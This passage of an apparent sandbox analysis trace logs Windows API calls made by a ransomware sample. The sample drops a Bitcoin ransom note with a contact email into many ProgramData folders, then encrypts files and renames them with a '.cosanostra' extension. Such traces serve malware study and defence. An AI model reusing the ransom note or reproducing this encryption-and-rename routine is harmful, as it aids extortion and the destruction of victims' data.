nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb24, lpOverlapped=0x0 | out: lpBuffer=0x251f963*, lpNumberOfBytesWritten=0x251fb24*=0x1bf, lpOverlapped=0x0) returned 1 [0080.326] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0080.327] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb24, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb24*=0x2ac, lpOverlapped=0x0) returned 1 [0080.327] CloseHandle (hObject=0x168) returned 1 [0080.327] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0080.327] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0080.327] WriteFile (in: hFile=0x168, lpBuffer=0x251f95f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb20, lpOverlapped=0x0 | out: lpBuffer=0x251f95f*, lpNumberOfBytesWritten=0x251fb20*=0x1bf, lpOverlapped=0x0) returned 1 [0080.328] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0080.329] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb20, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb20*=0x2ac, lpOverlapped=0x0) returned 1 [0080.330] CloseHandle (hObject=0x168) returned 1 [0080.330] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fac0 | out: pbBuffer=0x251fac0) returned 1 [0080.330] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251fab8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251fab8*=0x30) returned 1 [0080.330] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr1.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0080.331] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat") returned 57 [0080.331] StrStrW (lpFirst="qmgr1.dat", lpSrch=".txt") returned 0x0 [0080.331] ReadFile (in: hFile=0x168, lpBuffer=0x2c3660, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251fa7c, lpOverlapped=0x0 | out: lpBuffer=0x2c3660*, lpNumberOfBytesRead=0x251fa7c*=0x2800, lpOverlapped=0x0) returned 1 [0080.337] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.337] WriteFile (in: hFile=0x168, lpBuffer=0x2c3660*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251fa7c, lpOverlapped=0x0 | out: lpBuffer=0x2c3660*, lpNumberOfBytesWritten=0x251fa7c*=0x2800, lpOverlapped=0x0) returned 1 [0080.337] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.338] WriteFile (in: hFile=0x168, lpBuffer=0x251fabc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251fa7c, lpOverlapped=0x0 | out: lpBuffer=0x251fabc*, lpNumberOfBytesWritten=0x251fa7c*=0x4, lpOverlapped=0x0) returned 1 [0080.339] WriteFile (in: hFile=0x168, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251fa7c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251fa7c*=0x30, lpOverlapped=0x0) returned 1 [0080.339] CloseHandle (hObject=0x168) returned 1 [0080.792] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat.cosanostra") returned 68 [0080.792] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr1.dat"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat.cosanostra" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr1.dat.cosanostra")) returned 1 [0080.792] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fab8 | out: pbBuffer=0x251fab8) returned 1 [0080.792] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251fab0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251fab0*=0x30) returned 1 [0080.792] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico" (normalized: "c:\\programdata\\microsoft\\office\\sharepointteamsite.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0081.053] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico") returned 58 [0081.053] StrStrW (lpFirst="SharePointTeamSite.ico", lpSrch=".txt") returned 0x0 [0081.053] ReadFile (in: hFile=0x168, lpBuffer=0x285138, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251fa74, lpOverlapped=0x0 | out: lpBuffer=0x285138*, lpNumberOfBytesRead=0x251fa74*=0x2800, lpOverlapped=0x0) returned 1 [0081.124] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.124] WriteFile (in: hFile=0x168, lpBuffer=0x285138*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251fa74, lpOverlapped=0x0 | out: lpBuffer=0x285138*, lpNumberOfBytesWritten=0x251fa74*=0x2800, lpOverlapped=0x0) returned 1 [0081.124] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.124] WriteFile (in: hFile=0x168, lpBuffer=0x251fab4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251fa74, lpOverlapped=0x0 | out: lpBuffer=0x251fab4*, lpNumberOfBytesWritten=0x251fa74*=0x4, lpOverlapped=0x0) returned 1 [0081.243] WriteFile (in: hFile=0x168, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251fa74, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251fa74*=0x30, lpOverlapped=0x0) returned 1 [0081.243] CloseHandle (hObject=0x168) returned 1 [0081.244] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico.cosanostra") returned 69 [0081.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico" (normalized: "c:\\programdata\\microsoft\\office\\sharepointteamsite.ico"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico.cosanostra" (normalized: "c:\\programdata\\microsoft\\office\\sharepointteamsite.ico.cosanostra")) returned 1 [0081.245] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\rac\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0081.337] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.337] WriteFile (in: hFile=0x134, lpBuffer=0x251f953*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb14, lpOverlapped=0x0 | out: lpBuffer=0x251f953*, lpNumberOfBytesWritten=0x251fb14*=0x1bf, lpOverlapped=0x0) returned 1 [0081.338] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.338] WriteFile (in: hFile=0x134, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb14, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb14*=0x2ac, lpOverlapped=0x0) returned 1 [0081.338] CloseHandle (hObject=0x134) returned 1 [0081.339] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\VISIO\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\visio\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0081.339] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.339] WriteFile (in: hFile=0x134, lpBuffer=0x251f94f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb10, lpOverlapped=0x0 | out: lpBuffer=0x251f94f*, lpNumberOfBytesWritten=0x251fb10*=0x1bf, lpOverlapped=0x0) returned 1 [0081.340] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.340] WriteFile (in: hFile=0x134, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb10, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb10*=0x2ac, lpOverlapped=0x0) returned 1 [0081.340] CloseHandle (hObject=0x134) returned 1 [0081.340] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fab0 | out: pbBuffer=0x251fab0) returned 1 [0081.340] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251faa8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251faa8*=0x30) returned 1 [0081.340] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile44.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.360] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0081.362] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.362] WriteFile (in: hFile=0x138, lpBuffer=0x251f947*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb08, lpOverlapped=0x0 | out: lpBuffer=0x251f947*, lpNumberOfBytesWritten=0x251fb08*=0x1bf, lpOverlapped=0x0) returned 1 [0081.363] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.363] WriteFile (in: hFile=0x138, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb08, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb08*=0x2ac, lpOverlapped=0x0) returned 1 [0081.363] CloseHandle (hObject=0x138) returned 1 [0081.363] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.398] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.398] WriteFile (in: hFile=0x154, lpBuffer=0x251f943*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb04, lpOverlapped=0x0 | out: lpBuffer=0x251f943*, lpNumberOfBytesWritten=0x251fb04*=0x1bf, lpOverlapped=0x0) returned 1 [0081.398] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.398] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb04, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb04*=0x2ac, lpOverlapped=0x0) returned 1 [0081.399] CloseHandle (hObject=0x154) returned 1 [0081.399] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0081.456] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.456] WriteFile (in: hFile=0x16c, lpBuffer=0x251f93f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb00, lpOverlapped=0x0 | out: lpBuffer=0x251f93f*, lpNumberOfBytesWritten=0x251fb00*=0x1bf, lpOverlapped=0x0) returned 1 [0081.457] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.457] WriteFile (in: hFile=0x16c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb00, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb00*=0x2ac, lpOverlapped=0x0) returned 1 [0081.458] CloseHandle (hObject=0x16c) returned 1 [0081.458] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\sentitems\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0081.458] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.458] WriteFile (in: hFile=0x16c, lpBuffer=0x251f93b*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fafc, lpOverlapped=0x0 | out: lpBuffer=0x251f93b*, lpNumberOfBytesWritten=0x251fafc*=0x1bf, lpOverlapped=0x0) returned 1 [0081.459] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.459] WriteFile (in: hFile=0x16c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fafc, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fafc*=0x2ac, lpOverlapped=0x0) returned 1 [0081.459] CloseHandle (hObject=0x16c) returned 1 [0081.459] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0081.460] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.460] WriteFile (in: hFile=0x16c, 